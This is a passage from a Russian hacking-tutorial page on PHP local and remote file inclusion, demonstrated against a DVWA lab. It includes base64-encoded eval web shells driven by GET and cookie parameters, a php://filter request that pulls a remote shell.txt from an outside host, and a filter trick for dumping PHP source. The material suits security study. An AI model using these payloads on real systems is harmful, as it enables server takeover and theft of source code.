Первая часть – указание протокола, используемого для передачи данных (data). Далее указаны тип передаваемых данных ([b]application/x-httpd-php) и алгоритм их сжатия (base64). Последующие символы (PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyA/Pg==), как вы уже могли догадаться, - base64 код нашего шелла (). Смысл оставшейся части запроса очевиден – передаём значение параметра cmd (для функции eval в шелле), а именно – код phpinfo();.

Вот мы уже и получили базовый шелл. Метод GET использовался здесь, опять же, для наглядности. На практике рекомендуется использовать COOKIE.
в base64 кодировании имеет вид:
Code
PD9waHAgZXZhbCgkX0NPT0tJRVtjbWRdKTsgPz4=

Also…

В тех случаях, когда протокол data по каким-либо причинам нельзя использовать, но нужно обойти ограничения на использование протокола http (в данном случае об обходе фильтрации символов речи не идёт), можно воспользоваться протоколом php:
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/resource=http://our.hosting.ru/shell.txt

При этом все параметры подключаемому скрипту нужно передавать только методом POST. Соответственно нужно изменить и код скрипта. Кстати, запрос идёт через пост напрямую по протоколу php и все фильтры на сайте идут лесом.

Работает в php версий >= 5.1.0.

Читаем содержимое php файлов

Как вам известно, при инклуде файлов .php, они исполняются, и их содержимое никогда не выводится. Но если нельзя, а очень хочется - то можно. smile Содержимое php файлов можно вывести через инклуд, применив уже знакомый нам протокол следующим образом:

http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=include.php

Выведет содержимое указанного файла (include.php) в base64. Останется только расшифровать.
Особенно полезно в тех случаях, когда не получается залить шелл, но какую-то выгоду ведь нужно выжимать из найденной уязвимости. smile

Работает в php версий >= 5.0.0.

Вот и всё…

…что я могу вам рассказать. Сначала мне хотелось написать в заключение урока что-нибудь умное, дать какие-то наставления на дальнейшее изучение этой и других уязвимостей, сказать что-то унылое типа «до встречи в следующих уроках»... но потом решил, что конец должен быть неожи
Категория: Класс 2 | Добавил: M@ZAX@KEP (20.07.2011)
Просмотров: 11105 | Теги: заливка шелла, php-injection, include, rfi, lfi, php-include, file inclusion | Рейтинг: 5.0/3


Форма входа
Логин:
Пароль:
Меню сайта
Категории
Класс 1
Здесь учат самым элементарным вещам. Этот уровень необходимо посетить тем, кто ещё плохо ориентируется в компьютерах.
Класс 2
Здесь даются основные навыки хакерства. Этот класс для тех кто давно на "ты" с компьютерами, изучил винду вдоль и поперёк, а потом устал просто так сёрфить по инету и решил научится ещё чему-нибудь ;)
Уроки PHP
Мини-уроки php by JUMP
Мини-чат
    Все материалы на сайте предоставлены исключительно в ознакомительных целях.
     Администрация не несет никакой ответственности за последствия их использования.